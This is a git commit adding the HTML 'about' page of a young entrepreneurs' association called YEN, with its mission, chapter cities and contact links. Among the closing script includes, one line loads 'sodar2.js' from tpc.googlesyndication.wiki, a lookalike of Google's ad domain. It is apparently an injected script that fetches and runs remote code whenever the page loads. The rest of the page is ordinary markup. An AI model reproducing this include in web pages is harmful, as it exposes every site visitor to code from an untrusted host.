initial commit
This commit is contained in:
+205
@@ -0,0 +1,205 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="style/style.css">
|
||||
<link rel="stylesheet" href="style/about.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>YEN介绍</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-about-1" class="page-block block-about-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-1a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-1b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-1c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-1">
|
||||
<div class="container">
|
||||
<div class="content-1">
|
||||
<h2 class="animate__animated animate__fadeInLeft">协会介绍</h2>
|
||||
<p class="animate__animated animate__fadeInUp">YEN协会雏形草创于2008年，正式成立于2012年。是一群25-45岁青年创业家/企业接班人为主体的协会,全称：雁博青年创业家协会（Young Entrepreneurs Network）简称：Y.E.N.</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN汇聚了一群有共同使命感的企业家，支持让有想法的青年企业家，学会如何创业、守业甚至为公司转型。建立一个安全的分享环境，能够帮助并打破孤军奋战的困境。希望让会员更好的享受集体资源，提供信息交流平台，为会员创造更多合作机会。</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN的中文-雁，也代表着雁群效应，-雁群以V字集体飞翔，借助领头大雁产生的空气动力，使整体飞行更省力，并在过程中彼此轮换，一同前进。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-2" class="page-block block-about-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image" style="background-image: url('images/city-1.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('images/city-2.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('images/city-3.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('images/city-4.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('images/city-5.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-2">
|
||||
<div class="container">
|
||||
<div class="nav-img"><img id="nav-2" src="images/fh.png" /></div>
|
||||
<div class="city-items">
|
||||
<div id="content-2">
|
||||
<h5>我们目前共有11个分会：</h5>
|
||||
<span>北京</span>
|
||||
<span>台湾</span>
|
||||
<span>上海</span>
|
||||
<span>香港</span>
|
||||
<span>南京</span>
|
||||
<span>新加坡</span>
|
||||
<span>深圳</span>
|
||||
<span>马来西亚</span>
|
||||
<span>广州</span>
|
||||
<span>越南</span>
|
||||
<span>重庆</span>
|
||||
</div>
|
||||
</div>
|
||||
<img class="map" src="images/map.png" />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-3" class="page-block block-about-3">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-2a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-2b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('images/block-about-2c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-3">
|
||||
<div class="container">
|
||||
<div class="nav-img"><img id="nav-3" src="images/sm.png" /></div>
|
||||
<div class="sm">
|
||||
<div id="content-3">
|
||||
<h3>我们的使命</h3>
|
||||
<p>打造一个正循环生态，让一群企业家透过资讯交流，持续学习，相互支持，让彼此成为更好的领导者；进而改变自己与世界的命运。</p>
|
||||
<h3>我们的承诺</h3>
|
||||
<p>1. 协助企业会员成长</p>
|
||||
<p>2. 确保会员能在雁博会找到归属感</p>
|
||||
<p>3. 支持企业家进行内部深度分享</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>联系YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#3c455952125d585155520d7c555f50534958125f5351"><span class="__cf_email__" data-cfemail="037a666d2d62676e6a6d32436a606f6c76672d606c6e">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年创业家协会.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="js/jquery.cookie.min.js"></script>
|
||||
<script src="js/common.js"></script>
|
||||
<script>
|
||||
const oContainer1 = document.getElementById('block-about-1');
|
||||
const oContainer2 = document.getElementById('block-about-2');
|
||||
const oContainer3 = document.getElementById('block-about-3');
|
||||
const oNav2 = document.getElementById('nav-2');
|
||||
const oNav3 = document.getElementById('nav-3');
|
||||
const oContent2 = document.getElementById('content-2');
|
||||
const oContent3 = document.getElementById('content-3');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
|
||||
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
|
||||
}
|
||||
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
|
||||
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user